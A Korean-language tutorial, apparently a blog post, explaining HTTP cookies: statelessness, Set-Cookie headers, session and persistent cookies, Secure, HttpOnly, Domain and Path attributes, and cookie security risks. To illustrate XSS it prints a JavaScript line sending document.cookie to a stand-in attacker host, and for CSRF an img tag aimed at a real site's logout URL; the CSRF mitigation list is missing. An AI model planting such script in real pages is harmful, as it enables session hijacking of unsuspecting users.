HTTP는 무상태 프로토콜(Stateless Protocol)로 각 통신을 이전 통신과 독립적으로 취급한다. 이것은 마치 정신과 의사가 기억상실증 환자를 매일 진찰하면서 자기 자신을 의사라고 매 번 소개하는 것과 비슷하다.
이런 무상태적 디자인에는 물론 장단점이 있는데,
서버는 매 번 클라이언트를 새로 만나듯 대하기 때문에 HTTP의 무상태성이 갖는 단점은 서버가 클라이언트에게 인증을 요구할 때 극대화된다.
즉, 클라이언트가 인가받은 서비스를 사용하는 내내 자기 자신을 요청마다 인증해야 하는 불편함이 생긴다. (나는 알바생과 안면을 텄다고 생각했는데 야속하게도 그 알바생은 직업정신이 투철해 내가 매일 맥주를 살 때마다 신분증을 요구하는 것과 비슷하다.)
이런 단점을 보완하기 위해 서버와 클라이언트(브라우저)는 쿠키와 세션을 사용한다.
쿠키라는 이름은 예전에 UNIX 개발자들이 프로그램에서 주고받던 데이터패킷인 매직 쿠키에서 비롯되었다고 한다.
쿠키는 서버가 웹 브라우저에 전송하는 작은 데이터 조각이다.
서버는 클라이언트의 상태를 기록한 쿠키라는 작은 데이터 조각을 브라우저에 전송하고 브라우저는 이를 저장해두었다가 재요청시 저장해 둔 쿠키를 함께 전송한다.
이를 이용해서 상태를 갖지 않는 HTTP 프로토콜을 사용하면서도 클라이언트의 상태 정보를 유지할 수 있는데, 이 경우 상태 정보가 서버가 아닌 클라이언트에 저장된다.
세션 관리
쿠키를 사용하면 서버에 저장해야 할 로그인, 장바구니, 스코어등의 정보를 관리할 수 있다. (예: 자동 로그인, 쇼핑몰 장바구니 등)
서비스 개인화
서비스에서 사용자가 커스터마이징 할 수 있는 정보나 테마 등의 세팅 값을 쿠키에 저장할 수 있다. (예: 오늘 더 이상 팝업 보지 않기)
트래킹
서비스에서의 사용자의 행동 정보를 기록할 수 있다. (예: 한 번 누른 좋아요 버튼 더 못누르게 하기)
클라이언트가 서버로 요청을 보냈을 때 서버는 요청에 대한 응답과 함께 Set-Cookie
헤더에 쿠키를 담아 보낼 수 있다.
이 때 쿠키의 키와 내용 뿐 아니라 특정 도메인 또는 쿠키의 지속시간을 명시할 수 있고 경로제한을 설정해 쿠키가 보내지는 것을 제한할 수도 있다.
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
[page content]
이렇게 응답과 함께 Set-Cookie
헤더가 전송되면, 이후 클라이언트는 해당 서버로 요청을 할때 서버가 이전에 저장했던 모든 쿠키를 함께 담아 회신한다.
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
쿠키는 만료에 대한 설정에 따라 세션 쿠키
와 지속 쿠키
로 나뉘고 이 둘은 서로 다른 라이프타임을 갖는다.
또한 암호화 여부나 자바스크립트를 통한 접근 여부에 따라 Secure
와 HttpOnly
속성을 가질 수 있다.
만약 서버가 쿠키를 보내면서 만료시각을 명시하지 않는다면 이 쿠키는 현재 세션이 끝날 때 삭제된다. 주로 세션 쿠키는 브라우저의 메모리에 저장되기 때문에 브라우저의 종료될 때 삭제되고 이는 보안 상 지속 쿠키보다 유리한 점으로 작용한다.
세션 쿠키는 사용자가 서버를 이용하는 동안 사용자의 정보를 유지하기 위해 사용된다.
지속 쿠키는 쿠키의 Expires
속성에 명시된 날짜에 삭제되거나, Max-Age
속성에 명시된 기간이 지나면 삭제된다. 참고로 삭제 날짜는 서버측 기준이 아닌 클라이언트 측 시각을 기준으로 한다.
지속 쿠키는 사이트 재방문시 사용자 정보를 기억하기 위해 사용되며, 브라우저에 의해 파일로 저장되기 때문에 세션 쿠키에 비해 비교적으로 보안에 취약하다.
Secure
속성을 갖는 쿠키는 클라이언트가 HTTPS 프로토콜 상에서 암호화된 요청을 수행할 경우에만 전송된다. 그러나 이 속성이 쿠키에 실질적인 보안을 제공하지는 않는다.
HttpOnly
속성을 통해 자바스크립트가 Document.cookie
API에 접근할 수 없게 된다. 이를 통해 XSS 공격 (Cross-site Scripting Attack)을 방지할 수 있다.
XSS 공격은 관리자가 아닌 사용자가 웹 사이트에 스크립트를 삽입하는 것이다.
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
만일 위와 같은 스크립트를 XSS 취약점을 갖는 게시판에 삽입한다면 이 게시물을 읽는 다른 사용자의 브라우저가 해당 스크립트를 실행해서 자신의 브라우저 쿠키를 악성 사용자에게 전송하게 된다.
이를 통해 악성 사용자는 사용자의 쿠키를 탈취해서 세션 하이재킹 공격을 수행할 수 있다.
HttpOnly
쿠키는 위의 document.cookie
속성으로 조회할 수 없으므로 해당 공격을 피할 수 있다. 예를들어 서버쪽의 세션에 대한 id 값을 담고 있는 쿠키는 굳이 사이트에서 자바스크립트로 접근 할 일이 없으므로 HttpOnly
속성을 적용해야 한다.
쿠키의 Domain
, Path
속성을 통해 어떤 도메인, 또는 도메인 상의 어떤 URL 경로로 해당 쿠키가 전송되어야 하는지 설정할 수 있다.
Domain
속성을 설정하면 해당 도메인과 서브도메인으로만 쿠키가 전송되게 된다.
만약 Domain
을 명시하지 않았다면 쿠키는 서브 도메인을 포함하지 않는 현재 문서 위치의 호스트 일부를 기본값으로 한다.
도메인을 명시하면 서브도메인은 항상 포함한다.
예를들어, Domain=example.com
속성을 갖는 쿠키는 www.example.com
뿐 아니라 api.example.com
에도 포함되어 전송된다.
만약 현재 페이지의 도메인이 쿠키에 설정된 도메인과 같다면 이 쿠키는 퍼스트파티 쿠키라고 불리며, 도메인이 다르다면 서드파티 쿠키라고 불린다.
퍼스트파티 쿠키는 쿠키를 발행한 서버에만 전송되지만, 서드파티 쿠키를 갖는 웹페이지는 다른 도메인에 저장된 이미지나 컴포넌트 (예: 광고배너) 등을 포함할 수 있고 이는 웹을 통한 광고와 트래킹에 주로 사용된다.
Path
속성을 설정하면 해당 URL과 하위 디렉토리에도 쿠키가 포함되어 전송된다.
사용자의 상태를 저장해서 서비스의 사용자 경험을 향상시킬 수 있다.
쿠키의 사용자 정보를 마케팅이나 사용자 맞춤 상품 추천 등에 사용할 수 있다.
사용자 상태가 서버가 아닌 클라이언트단에 저장되기 때문에 서버 자원의 낭비 없이 사용될 수 있다.
쿠키는 서버사이드가 아니라 클라이언트 측에서 보관 및 관리하기에 클라이언트에 의해 언제든지 삭제되거나 변조될 수 있다.
모든 요청마다 쿠키가 함께 전송되므로 서비스의 성능이 떨어지는 원인이 된다.
브라우저에 저장할 수 있는 쿠키의 한계가 정해져있다. (최대 300개 / 도메인당 최대 20개 / 쿠키 당 최대 4KB)
민감한 정보를 저장할 경우 보안상 치명적일 수 있다.
사용자의 서비스상의 행동이 쿠키에 기록되어 저장장치에 남아서 나중에 타인에 의해 조회될 수 있으므로 이는 프라이버시 문제를 발생시킬 수 있다.
대부분의 브라우저는 쿠키를 비활성화 시키는 옵션이 있으므로 이 경우 서비스가 쿠키를 통한 기능을 사용할 수 없게된다.
쿠키는 언제든지 변조될 수 있고, 또 제 3자에게 노출 될 가능성이 높은 저장방식이기 때문에 절대로 쿠키에 기밀 또는 민감한 정보를 담으면 안된다.
또한, 개인정보보호지침에 따라 쿠키의 존재와 수집하는 정보의 형태와 내용 및 수집의 방법과 사용목적을 사용자에게 공개하여야 한다.
쿠키의 주요 사용 용도 중 하나는 서버의 세션을 소유한 사용자를 식별하기 위함이다. 그러므로 해당 쿠키를 가로채면 인증된 사용자의 세션을 하이재킹할 수 있다.
세션 쿠키의 하이재킹은 주로 사이트의 XSS 취약점을 이용해 발생하며, HttpOnly
쿠키 속성을 통해 방지할 수 있다.
사이트간 요청위조 (CSRF: Cross-site Request Forgery)는 사용자가 자신의 의지와 무관하게 공격자가 의도한 행동을 해서 특정 웹페이지의 보안을 취약하게 하거나 수정 또는 삭제 등의 작업을 하게 하는 공격방법이다.
<img src="https://namu.wiki/member/logout">
예를 들어 공격자가 어떤 사이트의 게시판이나 필터링되지 않은 채팅에 위와 같은 실제로는 이미지가 아닌 이미지를 포함한다면, 그리고 만약 당신이 가진 쿠키가 유효하다면, HTML이 로드되자마자 나무위키에서 로그아웃되게 된다.
이를 방지하기 위해서는,
등의 방법을 적용할 수 있다.